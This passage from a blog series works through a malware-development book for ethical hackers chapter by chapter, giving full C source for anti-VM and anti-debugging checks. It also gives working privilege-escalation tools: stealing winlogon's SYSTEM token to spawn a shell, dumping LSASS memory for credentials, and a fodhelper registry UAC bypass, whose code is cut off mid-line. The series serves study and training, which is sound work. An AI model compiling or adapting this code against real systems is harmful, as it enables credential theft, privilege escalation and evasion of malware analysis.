looking much more complicated. While it is apparent which libraries are being called, the functions themselves are not apparent: </p> <p><img alt="" src="https://blog.ericturner.it/uploads/2025/03/image-2.webp"/></p> <p>If we continued to do this for other functions such as <code>htons</code> and <code>inet_addr</code>, and started to obfuscate or encrypt strings, it would really be a perfect example of full obfuscation.</p> <h1 id="crashing-malware-analysis-tools">Crashing Malware Analysis Tools</h1> <p>This section uses a recursive function with the intent to break decompilers by running out of memory. </p> <p>Running this in x32dbg shows the stack overflow, but does not crash the debugger itself:</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2025/03/image-3.webp"/></p> <p>However in this instance, I wasn't able to get a reverse shell either. The exe crashes. Lowering the number down even to 250000 from 1000000 has no effect and still causes a crash.</p> <h1 id="conclusion">Conclusion</h1> <p>This chapter was interesting. The section I liked the best was the API hashing technique that can be used to mask API calls from a decompiler and require more advanced analysis to reverse. I have seen malware use this approach before where every single call is an API hash. The best reversal technique for that was to have Ghidra on one side and x64dbg on the other and wait to see what library eventually gets loaded once the relevant code appears. Then, the function can be properly renamed to give a better sense of what is going on. It definitely creates a lot more work for the malware analyst to decipher though.</p>2025-02-15T19:51:53-05:002026-05-17T14:03:45.461873-04:00Eric Turnertag:blog.ericturner.it,2025-02-15:/2025/02/15/malware-dev-chapter-06-anti-vm-strategies/

<p>Continued series from the&nbsp;<a href="https://www.packtpub.com/en-us/product/malware-development-for-ethical-hackers-9781801810173">Malware Development for Ethical Hackers Book</a>.<br/> GitHub repo:&nbsp;<a href="https://github.com/EricTurner3/cybersecurity/tree/main/Malware_Development">EricTurner3 &ndash; Malware_Development</a>.</p> <h1 id="filesystem-detection-techniques">Filesystem Detection Techniques</h1> <h2 id="virtualbox-machine-detection">VirtualBox Machine Detection</h2> <p>The book showcases 8 different files to test for a VirtualBox, however, the sample code only checks for 2/8 files. I created a modified source code that uses an …</p>

<p>Continued series from the&nbsp;<a href="https://www.packtpub.com/en-us/product/malware-development-for-ethical-hackers-9781801810173">Malware Development for Ethical Hackers Book</a>.<br/> GitHub repo:&nbsp;<a href="https://github.com/EricTurner3/cybersecurity/tree/main/Malware_Development">EricTurner3 &ndash; Malware_Development</a>.</p> <h1 id="filesystem-detection-techniques">Filesystem Detection Techniques</h1> <h2 id="virtualbox-machine-detection">VirtualBox Machine Detection</h2> <p>The book showcases 8 different files to test for a VirtualBox, however, the sample code only checks for 2/8 files. I created a modified source code that uses an array to check for all of these and print out if one is detected.</p> <pre><code class="language-c">/* Anti-VM - VirtualBox File Detect 15 Feb 2025 Eric To build: x86_64-w64-mingw32-g++ -O2 06_vbox_file_detect.c -o VBoxFile.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive */ #include &lt;windows.h&gt; #include &lt;stdio.h&gt; BOOL checkVM() { // Paths to check const char* paths[] = { "c:\\windows\\system32\\drivers\\VBoxMouse.sys", "c:\\windows\\system32\\drivers\\VBoxGuest.sys", "c:\\windows\\system32\\drivers\\VBoxSF.sys", "c:\\windows\\system32\\drivers\\VBoxVideo.sys", "c:\\windows\\system32\\vboxdisp.dll", "c:\\windows\\system32\\vboxhook.dll", "c:\\windows\\system32\\vboxservice.exe", "c:\\windows\\system32\\vboxtray.exe" }; // placeholder, default to FALSE BOOL vm_detected = FALSE; // loop through the filepaths to see if any exist for (size_t i = 0; i &lt; (sizeof(paths) / sizeof(paths[0])); ++i){ DWORD attributes = GetFileAttributes(paths[i]); if (attributes != INVALID_FILE_ATTRIBUTES &amp;&amp; !(attributes &amp; FILE_ATTRIBUTE_DIRECTORY)){ printf("VirtualBox File Found: %s \n", paths[i]); vm_detected = TRUE; break; } } return vm_detected; } int main() { if (checkVM()) { printf("The system appears to be a virtual machine.\n"); } else { printf("The system does not appear to be a virtual machine.\n"); } return 0; } </code></pre> <h1 id="hardware-detection_1">Hardware Detection</h1> <p>The book uses some sample code to check the HDD Vendor ID to detect for Virtual Machine. I think this approach is not useful, as my VM did not have a \\PhysicalDrive0, it has a HarddiskVolume1 similar to my non-VM Windows machine. The sample code ended up failing on my VM and stated it was not a virtual machine.</p> <h1 id="time-detection">Time Detection</h1> <p>The book uses NTDelayExecution and capturing the before / after time to determine if it slept the appropriate amount of milliseconds. The example uses 800ms &gt; time &lt; 1000ms to detect. On my actual machine, it nailed 1000ms on the dot, but was still marked as a virtual machine. Setting it to 1000 ms &gt; time &lt; 1000ms tightens the execution to perfect. The VM runs at 1031ms. I'm curious if a slower or much older computer would end up triggering as a VM as well.</p> <h1 id="registry-detection">Registry Detection</h1> <p>This example checks for the existence of registry keys and checks if the value equals something in particular. This is what I was referring to earlier in Hardware Detection, we are able to check for System Product Name or BiosVersion to detect VirtualBox. I removed the payload from my example and defaulted back to simple message boxes again.</p> <pre><code class="language-c">/* Anti-VM - Registry Detect 15 Feb 2025 Eric x86_64-w64-mingw32-g++ -O2 06_registry.c -o VMRegistry.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive */ #include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;string.h&gt; #include &lt;windows.h&gt; int checkRegistryKey(HKEY rootKey, char* subKeyName) { HKEY registryKey = NULL; LONG result = RegOpenKeyExA(rootKey, subKeyName, 0, KEY_READ, &amp;registryKey); if (result == ERROR_SUCCESS) { RegCloseKey(registryKey); return TRUE; } return FALSE; } int compareRegistryKeyValue(HKEY rootKey, char* subKeyName, char* registryValue, char* comparisonValue) { HKEY registryKey = NULL; LONG result; char value[1024]; DWORD size = sizeof(value); result = RegOpenKeyExA(rootKey, subKeyName, 0, KEY_READ, &amp;registryKey); if (result == ERROR_SUCCESS) { RegQueryValueExA(registryKey, registryValue, NULL, NULL, (LPBYTE)value, &amp;size); if (result == ERROR_SUCCESS) { if (strcmp(value, comparisonValue) == 0) { return TRUE; } } } return FALSE; } int main(int argc, char* argv[]) { HANDLE processHandle; // Process handle HANDLE remoteThread; // Remote thread PVOID remoteBuffer; // Remote buffer if (checkRegistryKey(HKEY_LOCAL_MACHINE, "HARDWARE\\ACPI\\FADT\\VBOX__")) { printf("VirtualBox VM registry path value detected\n"); MessageBox(NULL, "Virtual Machine Detected", "Program", MB_OK); return -2; } if (compareRegistryKeyValue(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Control\\SystemInformation", "SystemProductName", "VirtualBox")) { printf("VirtualBox VM registry key value detected\n"); MessageBox(NULL, "Virtual Machine Detected", "Program", MB_OK); return -2; } if (compareRegistryKeyValue(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Control\\SystemInformation", "BiosVersion", "VirtualBox")) { printf("VirtualBox VM BIOS version detected\n"); MessageBox(NULL, "Virtual Machine Detected", "Program", MB_OK); return -2; } MessageBox(NULL, "Running Hack", "Program", MB_OK); return 0; } </code></pre> <h1 id="conclusion">Conclusion</h1> <p>There were some interesting techniques for virtual machine detection. Most of these seemed very rudimentary to be able to evade. I am curious what detections could be used that aren't as easy to defeat but still promote high accuracy.</p>2025-01-29T02:57:57-05:002026-05-17T14:03:45.460876-04:00Eric Turnertag:blog.ericturner.it,2025-01-29:/2025/01/29/malware-dev-chapter-05-anti-debugging-tricks/

<p>Continued series from the&nbsp;<a href="https://www.packtpub.com/en-us/product/malware-development-for-ethical-hackers-9781801810173">Malware Development for Ethical Hackers Book</a>.<br/> GitHub repo:&nbsp;<a href="https://github.com/EricTurner3/cybersecurity/tree/main/Malware_Development">EricTurner3 &ndash; Malware_Development</a>.</p> <h1 id="detecting-debugger">Detecting Debugger</h1> <h2 id="isdebuggerpresent">IsDebuggerPresent()</h2> <pre><code class="language-c">/* Anti-Debugging - Check for Debugger 28 Jan 2025 Eric To build: x86_64-w64-mingw32-gcc 05_debugger_present.c -o DebugCheck.exe -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc */ #include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;windows.h …</code></pre>

<p>Continued series from the&nbsp;<a href="https://www.packtpub.com/en-us/product/malware-development-for-ethical-hackers-9781801810173">Malware Development for Ethical Hackers Book</a>.<br/> GitHub repo:&nbsp;<a href="https://github.com/EricTurner3/cybersecurity/tree/main/Malware_Development">EricTurner3 &ndash; Malware_Development</a>.</p> <h1 id="detecting-debugger">Detecting Debugger</h1> <h2 id="isdebuggerpresent">IsDebuggerPresent()</h2> <pre><code class="language-c">/* Anti-Debugging - Check for Debugger 28 Jan 2025 Eric To build: x86_64-w64-mingw32-gcc 05_debugger_present.c -o DebugCheck.exe -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc */ #include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;windows.h&gt; int main() { // Check if a debugger is present if (IsDebuggerPresent()) { MessageBox(NULL, "New Message", "Nothing to see here", MB_OK); return 1; // exit if a debugger is present } MessageBox(NULL, "Hack", "Hacking mainframe...", MB_OK); return 0; } </code></pre> <p><img alt="" src="https://blog.ericturner.it/uploads/2025/01/image-57.webp"/></p> <p>comparison of running the exe directly vs running in a debugger</p> <p>Sample code using the <code>IsDebuggerPresent()</code> check. I simplified my version over what was in the book. It is also important to note that I ahve plugins in my x64dbg, including ScyllaHide. ScyllaHide has a bunch of options to fake the flags for debug checks to prevent the application from truly telling if it is being debugged. I had to disable all options for it to properly work: </p> <p><img alt="" src="https://blog.ericturner.it/uploads/2025/01/image-58.webp"/></p> <h2 id="checkremotedebuggerpresent">CheckRemoteDebuggerPresent()</h2> <p>A slight modification to the debug check script to use<code>CheckRemoteDebuggerPresent</code> API call instead for detecting a debugger:</p> <pre><code class="language-c">/* Anti-Debugging - Check for RemoteDebugger 28 Jan 2025 Eric To build: x86_64-w64-mingw32-gcc 05_debugger_present_remote.c -o RemoteDebugCheck.exe -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc */ #include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;windows.h&gt; int main() { BOOL HasDebugPort = FALSE; // Check if a debugger is present // https://unprotect.it/technique/checkremotedebuggerpresent/ if (CheckRemoteDebuggerPresent(GetCurrentProcess(), &amp;HasDebugPort)) { MessageBox(NULL, "New Message", "Nothing to see here", MB_OK); return 1; // exit if a debugger is present } MessageBox(NULL, "Hack", "Hacking mainframe...", MB_OK); return 0; } </code></pre> <h1 id="breakpoint-checksum_1">Breakpoint Checksum</h1> <p>This use case did not make a lot of sense to me purely going off of the information provided in the book. It turns out that this code appears to be copied from elsewhere. Here is the <a href="https://unprotect.it/technique/performing-code-checksum/">same example on Unprotect.it</a>, which links back to the <a href="https://www.apriorit.com/dev-blog/367-anti-reverse-engineering-protection-techniques-to-use-before-releasing-software#p6">original article from Apriorit</a>.</p> <p>Essentially, set up our important function that should have integrity and use a stub function to determine the end of that function. We then compile and execute the program to determine the original CRC of our function. Hardcode this value into the source code so that if the code is modified via debugging or a breakpoint, it will fail the checksum and can terminate or escape the main logic.</p> <pre><code class="language-c">/* Anti-Debugging - Breakpoint Detection / Checksum 28 Jan 2025 Eric To build: x86_64-w64-mingw32-g++ -O2 05_func_checksum.c -o Breakpoint.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive -lpsapi */ #include &lt;windows.h&gt; #include &lt;stdio.h&gt; DWORD CalcFuncCrc(PUCHAR funcBegin, PUCHAR funcEnd) { DWORD crc = 0; for (; funcBegin &lt; funcEnd; ++funcBegin) { crc += *funcBegin; } return crc; } // prevent compiler from making functions embedded #pragma auto_inline(off) VOID DebuggeeFunction() { printf("Hello World"); } VOID DebuggeeFunctionEnd() {}; // stub function trick to detect end of our func we are calculating crc of #pragma auto_inline(on) // to calculate this value, the program needs compiled and executed // monitor the output of the crc in the console, and update the value here // thus, if the code is modified in anyway // then the crc no longer will match and it will flag // one example is a breakpoint, which injects an int 3h / 0xCC opcode into the function // this would destroy the integrity of the checksum DWORD g_origCrc = 0x4db; int main() { DWORD crc = CalcFuncCrc((PUCHAR)DebuggeeFunction, (PUCHAR)DebuggeeFunctionEnd); printf("crc: 0x%x (%ld)", crc, crc); if (g_origCrc != crc) { MessageBox(NULL, "Breakpoint detected", "Debug Check", MB_OK); return -1; } MessageBox(NULL, "Running as usual", "Debug Check", MB_OK); return 0; } </code></pre> <p>I added my own printf statement into this to illustrate where the CRC comes from, as my CRC is different than the one from the book and the original author. Once this value is displayed, I can add it back to the code to re-compile and now my check shows running as usual.</p> <p>In order to trigger the breakpoint check, we need to find the actual DebuggeeFunction and place a breakpoint exactly inside of this. I found the original code to be too tricky to find the breakpoint, so I modified it to print a string, and was able to easily find the string reference to place a breakpoint. Now we can see the comparison of running it directly, vs the debugger with the breakpoint: </p> <p><img alt="" src="https://blog.ericturner.it/uploads/2025/01/image-60.webp"/></p> <p>normal operation vs breakpoint</p> <h1 id="flags-artifacts">Flags &amp; Artifacts</h1> <h2 id="ntglobalflag">NTGlobalFlag</h2> <p>NTGlobalFlag is part of the Process Environment Block. If a debugger is the parent process, additional flags are set, vs if the debugger is attached later on.</p> <pre><code class="language-c">/* Anti-Debugging - Check NTGlobalFlag 28 Jan 2025 Eric To build: x86_64-w64-mingw32-gcc 05_flag_ntglobal.c -o ntglobal_flag.exe -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc */ #include &lt;winternl.h&gt; #include &lt;intrin.h&gt; #include &lt;windows.h&gt; #include &lt;stdio.h&gt; #define FLG_HEAP_ENABLE_TAIL_CHECK 0x10 #define FLG_HEAP_ENABLE_FREE_CHECK 0x20 #define FLG_HEAP_VALIDATE_PARAMETERS 0x40 #define NT_GLOBAL_FLAG_DEBUGGED (FLG_HEAP_ENABLE_TAIL_CHECK | FLG_HEAP_ENABLE_FREE_CHECK | FLG_HEAP_VALIDATE_PARAMETERS) DWORD checkNtGlobalFlag() { PPEB ppeb = (PPEB)__readgsqword(0x60); DWORD myNtGlobalFlag = *(PDWORD)((PBYTE)ppeb + 0xBC); MessageBox(NULL, myNtGlobalFlag &amp; NT_GLOBAL_FLAG_DEBUGGED ? "Debugger Active" : "Debugger Inactive", "Debug Check", MB_OK); return 0; } int main(int argc, char* argv[]) { DWORD check = checkNtGlobalFlag(); return 0; } </code></pre> <p>Compiling the code and executing provides the following two scenarios:</p> <p><img alt="" src="https://blog.ericturner.it/uploads/2025/01/image-61.webp"/></p> <p>inactive / active debugger status</p> <h2 id="process-debug-flags">Process Debug Flags</h2> <p>There is an undocumented class named <code>ProcessDebugFlags</code> that when passed to the NtQueryInformationProcess function, returns information on if a debugger is present. See another example <a href="https://anti-debug.checkpoint.com/techniques/debug-flags.html#using-win32-api-ntqueryinformationprocess-processdebugflags">here</a>.</p> <pre><code class="language-c">/* Anti-Debugging - Check NTQuery ProcessDebugFlag 28 Jan 2025 Eric To build: x86_64-w64-mingw32-gcc 05_flag_ntquery.c -o ntquery_flag.exe -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc */ #include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;windows.h&gt; #include &lt;stdbool.h&gt; typedef NTSTATUS(NTAPI *fNtQueryInformationProcess)( IN HANDLE ProcessHandle, IN DWORD ProcessInformationClass, OUT PVOID ProcessInformation, IN ULONG ProcessInformationLength, OUT PULONG ReturnLength ); // Function to check if a debugger is present bool DebuggerCheck() { BOOL result; DWORD rProcDebugFlags; DWORD returned; const DWORD ProcessDebugFlags = 0x1f; // not documented in below link HMODULE nt = LoadLibraryA("ntdll.dll"); // https://learn.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntqueryinformationprocess fNtQueryInformationProcess myNtQueryInformationProcess = (fNtQueryInformationProcess) GetProcAddress(nt, "NtQueryInformationProcess"); myNtQueryInformationProcess(GetCurrentProcess(), ProcessDebugFlags, &amp;rProcDebugFlags, sizeof(DWORD), &amp;returned); if (0 == rProcDebugFlags){ MessageBox(NULL, "Debugger Detected", "Program", MB_OK); return 1; // exit if a debugger is present } return result; } // Function that simulates the main functionality void hack() { MessageBox(NULL, "Malicious Code", "Program", MB_OK); } int main() { // Check if a debugger is present DebuggerCheck(); // Main functionality hack(); return 0; } </code></pre> <p>I modified the code a bit to be more inline with the other example from Checkpoint. It presents like the prior example, as follows: </p> <p><img alt="" src="https://blog.ericturner.it/uploads/2025/01/image-62.webp"/></p> <h1 id="summary_1">Summary</h1> <p>A very interesting chapter into several anti-debugging techniques. I had to do some searching on external resources as some of the book content did not feel very well explained to me. However, it still included some very interesting techniques. From the profile information in ScyllaHide in my x64dbg, it appears all of these techniques can easily be masked in order to allow the application to continue without needing to manually step through the code and disable any debugger checks.</p>2025-01-25T19:25:23-05:002026-05-19T17:46:08.856572-04:00Eric Turnertag:blog.ericturner.it,2025-01-25:/2025/01/25/malware-dev-chapter-04-privilege-escalation/

<p>Continued series from the&nbsp;<a href="https://www.packtpub.com/en-us/product/malware-development-for-ethical-hackers-9781801810173">Malware Development for Ethical Hackers Book</a>.<br/> GitHub repo:&nbsp;<a href="https://github.com/EricTurner3/cybersecurity/tree/main/Malware_Development">EricTurner3 &ndash; Malware_Development</a>.</p> <p>This chapter contains methods to achieve persistence of malware in Windows.</p> <h1 id="manipulating-access-tokens">Manipulating Access Tokens</h1> <h2 id="token-theft">Token Theft</h2> <p>The book provides a great demonstration of C code where the end user can pass a PID and it attempts …</p>

<p>Continued series from the&nbsp;<a href="https://www.packtpub.com/en-us/product/malware-development-for-ethical-hackers-9781801810173">Malware Development for Ethical Hackers Book</a>.<br/> GitHub repo:&nbsp;<a href="https://github.com/EricTurner3/cybersecurity/tree/main/Malware_Development">EricTurner3 &ndash; Malware_Development</a>.</p> <p>This chapter contains methods to achieve persistence of malware in Windows.</p> <h1 id="manipulating-access-tokens">Manipulating Access Tokens</h1> <h2 id="token-theft">Token Theft</h2> <p>The book provides a great demonstration of C code where the end user can pass a PID and it attempts to grab the token for that process and then opens up mspaint.exe with those privileges. I made a few adjustments. My code takes a snapshot of all running processes, searches for a specific process (in this case winlogon.exe, which should always be running as <code>NT AUTHORITY\SYSTEM</code>, automatically grabs the PID and then spawns a command shell with elevated permissions. In this instance, the local admin account needs to run the executable, which then is able to escalate further to <code>SYSTEM</code>. I attempted to run from a non-elevated account, and it fails to properly grab the privilege.</p> <pre><code class="language-c">/* PrivEsc - Token Theft 23 Jan 2025 Eric To build: x86_64-w64-mingw32-gcc 04_token_theft.c -o RunAsAdmin.exe -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc */ #include &lt;windows.h&gt; #include &lt;stdio.h&gt; #include &lt;tlhelp32.h&gt; const char *processToSteal = "winlogon.exe"; // process to find to attempt to take LPWSTR processToCreate = L"C:\\Windows\\System32\\cmd.exe"; // new process to create with the stolen token // my custom code, find a specific process DWORD findProcess(const char *procName) { HANDLE hProcessSnap; PROCESSENTRY32 pe32; DWORD winlogonPID = 0; // Take a snapshot of all processes in the system. // https://learn.microsoft.com/en-us/windows/win32/api/tlhelp32/nf-tlhelp32-createtoolhelp32snapshot hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hProcessSnap == INVALID_HANDLE_VALUE) { return 0; } pe32.dwSize = sizeof(PROCESSENTRY32); // Retrieve information about the first process. if (Process32First(hProcessSnap, &amp;pe32)) { do { // Check if the process name matches (0 indicates identical) if (_stricmp(pe32.szExeFile, procName) == 0) { winlogonPID = pe32.th32ProcessID; break; // Exit the loop once we find the process } } while (Process32Next(hProcessSnap, &amp;pe32)); } // Clean up the snapshot object. CloseHandle(hProcessSnap); return winlogonPID; } // set privilege BOOL setPrivilege(LPCTSTR priv) { HANDLE token; TOKEN_PRIVILEGES tp; LUID luid; BOOL res = TRUE; // takes the name of the privilege from arg and attempts to find it in system // https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-lookupprivilegevaluew if (!LookupPrivilegeValue(NULL, priv, &amp;luid)) res = FALSE; // attempt to open the proc token with the ability to adjust privs // https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocesstoken if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &amp;token)) res = FALSE; // create a new token priv object and enable the privilege tp.PrivilegeCount = 1; tp.Privileges[0].Luid = luid; tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; // use the token priv object to enable the privilege // https://learn.microsoft.com/en-us/windows/win32/api/securitybaseapi/nf-securitybaseapi-adjusttokenprivileges if (!AdjustTokenPrivileges(token, FALSE, &amp;tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL)) res = FALSE; // cleanup CloseHandle(token); printf(res ? "privilege enabled %s\n" : "failed to enable privilege %s \n", priv); return res; } // get access token HANDLE getToken(DWORD pid) { HANDLE cToken = NULL; HANDLE ph = NULL; if (pid == 0) { ph = GetCurrentProcess(); } else { ph = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, TRUE, pid); } if (!ph) cToken = (HANDLE)NULL; printf(ph ? "successfully get process handle :)\n" : "failed to get process handle :(\n"); BOOL res = OpenProcessToken(ph, MAXIMUM_ALLOWED, &amp;cToken); if (!res) cToken = (HANDLE)NULL; printf((cToken != (HANDLE)NULL) ? "successfully get access token :)\n" : "failed to get access token :(\n"); return cToken; } // create process BOOL createProcess(HANDLE token, LPCWSTR app) { HANDLE dToken = NULL; STARTUPINFOW si; PROCESS_INFORMATION pi; BOOL res = TRUE; ZeroMemory(&amp;si, sizeof(STARTUPINFOW)); ZeroMemory(&amp;pi, sizeof(PROCESS_INFORMATION)); si.cb = sizeof(STARTUPINFOW); // copy the arg access token and make a new access token with max allowed perms // https://learn.microsoft.com/en-us/windows/win32/api/securitybaseapi/nf-securitybaseapi-duplicatetokenex res = DuplicateTokenEx(token, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &amp;dToken); printf(res ? "process token duplicated\n" : "failed to duplicate process token\n"); // attempt to create the new process with token // https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createprocesswithtokenw res = CreateProcessWithTokenW(dToken, LOGON_WITH_PROFILE, app, NULL, 0, NULL, NULL, &amp;si, &amp;pi); printf(res ? "process created\n" : "failed to create process\n"); return res; } int main(int argc, char** argv) { if (!setPrivilege(SE_DEBUG_NAME)) return -1; DWORD pid = findProcess(processToSteal); // take snapshot and find a specific process HANDLE cToken = getToken(pid); // attempt to get token if (!createProcess(cToken, processToCreate)) return -1; return 0; } </code></pre> <h1 id="password-stealing_1">Password Stealing</h1> <p>It appears I was a bit ahead of the curve in the last section, as this topic now introduces scanning for a process. We can re-use a lot of our existing code from the token theft, including the findProcess and setPriv functions. Initiallly, I was not getting the dump file generated. I determined the path must exist, otherwise <code>CreateFileW</code> cannot create a new dir, only the file. I added some extra printf statements for debugging in <code>generateMiniDump()</code>.</p> <pre><code class="language-c">/* PrivEsc - LSASS Dump 23 Jan 2025 Eric To build: x86_64-w64-mingw32-gcc 04_dump_lsass.c -o dump.exe -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -ldbghelp */ #include &lt;windows.h&gt; #include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;string.h&gt; #include &lt;tlhelp32.h&gt; #include &lt;dbghelp.h&gt; #pragma comment (lib, "dbghelp.lib") const char *targetProcess = "lsass.exe"; // process to find LPCWSTR dumpFile = L"C:\\Users\\Public\\Desktop\\lsass.dmp"; // where the proc dump should go, the dir should already exist, else CreateFile will fail // my custom code, find a specific process DWORD findProcess(const char *procName) { HANDLE hProcessSnap; PROCESSENTRY32 pe32; DWORD winlogonPID = 0; // Take a snapshot of all processes in the system. // https://learn.microsoft.com/en-us/windows/win32/api/tlhelp32/nf-tlhelp32-createtoolhelp32snapshot hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hProcessSnap == INVALID_HANDLE_VALUE) { return 0; } pe32.dwSize = sizeof(PROCESSENTRY32); // Retrieve information about the first process. if (Process32First(hProcessSnap, &amp;pe32)) { do { // Check if the process name matches (0 indicates identical) if (_stricmp(pe32.szExeFile, procName) == 0) { winlogonPID = pe32.th32ProcessID; break; // Exit the loop once we find the process } } while (Process32Next(hProcessSnap, &amp;pe32)); } // Clean up the snapshot object. CloseHandle(hProcessSnap); return winlogonPID; } // set privilege BOOL setPrivilege(LPCTSTR priv) { HANDLE token; TOKEN_PRIVILEGES tp; LUID luid; BOOL res = TRUE; // takes the name of the privilege from arg and attempts to find it in system // https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-lookupprivilegevaluew if (!LookupPrivilegeValue(NULL, priv, &amp;luid)) res = FALSE; // attempt to open the proc token with the ability to adjust privs // https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocesstoken if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &amp;token)) res = FALSE; // create a new token priv object and enable the privilege tp.PrivilegeCount = 1; tp.Privileges[0].Luid = luid; tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; // use the token priv object to enable the privilege // https://learn.microsoft.com/en-us/windows/win32/api/securitybaseapi/nf-securitybaseapi-adjusttokenprivileges if (!AdjustTokenPrivileges(token, FALSE, &amp;tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL)) res = FALSE; // cleanup CloseHandle(token); printf(res ? "privilege enabled %s\n" : "failed to enable privilege %s \n", priv); return res; } // create minidump of lsass.exe BOOL generateMiniDump() { BOOL dumpSuccess = FALSE; DWORD processID = findProcess(targetProcess); HANDLE processHandle = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, 0, processID); HANDLE outputHandle = CreateFileW(dumpFile, GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (processHandle &amp;&amp; outputHandle != INVALID_HANDLE_VALUE) { // dump proc with mem // https://learn.microsoft.com/en-us/windows/win32/api/minidumpapiset/nf-minidumpapiset-minidumpwritedump dumpSuccess = MiniDumpWriteDump(processHandle, processID, outputHandle, MiniDumpWithFullMemory, NULL, NULL, NULL); printf(dumpSuccess ? "successfully dumped to lsass.dmp\n" : "failed to dump\n"); } // error handle if the process is not found or an error in dumping the process else{ if (processHandle == NULL) { printf("Error: Unable to open process with ID %lu. Error code: %lu\n", processID, GetLastError()); } if (outputHandle == INVALID_HANDLE_VALUE) { printf("Error: Unable to create dump file. Error code: %lu\n", GetLastError()); } } return dumpSuccess; } int main(int argc, char** argv) { if (!setPrivilege(SE_DEBUG_NAME)) return -1; if (!generateMiniDump()) return -1; return 0; } </code></pre> <h1 id="dll-search-order-hijacking">DLL Search Order Hijacking</h1> <p>This tactic seems to come up frequently, it also appeared in chapters 1 and 3. You can find my code where I previously used this exploit in the chapter 03 blog post, <a href="https://blog.ericturner.it/2025/01/21/malware-dev-chapter-03-persistence/#DLL_Search_Order_Hijacking">here</a>.</p> <p>The only thing different about this particular approach is that we attempt to find an application that runs as <code>NT Authority\System</code>. Once one is found, we perform the same trick as before, where a DLL is replaced with our malicious DLL. It will then inherit the permissions of the account when our reverse shell is granted. The book uses <code>Discord.exe</code>, which appears to use system privileges when running (for whatever reason).</p> <h1 id="circumventing-uac">Circumventing UAC</h1> <h2 id="fodhelperexe">fodhelper.exe</h2> <p>This executable, found under <code>C:\Windows\System32\fodhelper.exe</code> is utilized to help manage Optional Features in Windows. Booting the application up launches the Settings &gt; System &gt; Optional Features pane.</p> <p>Using <code>sigcheck.exe -a -m c:\\windows\\system32\\fodhelper.exe</code> on my Flare-VM Windows10 vm, it launches the SysInternal's SigCheck utility. The manifest provides details that execution of this application requires admin privileges: </p> <p><img alt="" src="https://blog.ericturner.it/uploads/2025/01/image-56.webp"/></p> <p>Using procmon, we can monitor what registry values the executable attempts to query. The book showcases a <code>\Shell\Open\command</code> registry key that does not actually exist: </p> <p><img alt="" src="https://blog.ericturner.it/uploads/2025/01/image-55.webp"/></p> <p>registry key that does not exist</p> <p>By creating a registry key here to spawn a command shell, it can spawn with elevated privileges.</p> <pre><code class="language-c">/* PrivEsc - Token Theft 25 Jan 2025 Eric To build: x86_64-w64-mingw32-gcc 04_uac_bypass.c -o tetris.exe -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc */ #include &lt;windows.h&gt; #include &lt;stdio.h&gt; int main() { HKEY registryKey; DWORD disposition; const char* registryPath = "Software\\Classes\\ms-settings\\Shell\\Open\\command"; const char* command = "cmd /c start C:\\Windows\\System32\\cmd.exe"; // default program const char* delegateExecute = ""; // Attempt to open the registry key // https://learn.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regcreatekeyexw // disposition is set but never seems to be read from or used LSTATUS status = RegCreateKeyEx(HKEY_CURRENT_USER, (LPCSTR)registryPath, 0, NULL, 0, KEY_WRITE, NULL, &amp;registryKey, &amp;disposition); printf(status != ERROR_SUCCESS ? "Failed to open or create the registry key.\n" : "Successfully created the registry key.\n"); // sets the default value to our command status = RegSetValueEx(registryKey, "", 0, REG_SZ, (unsigned 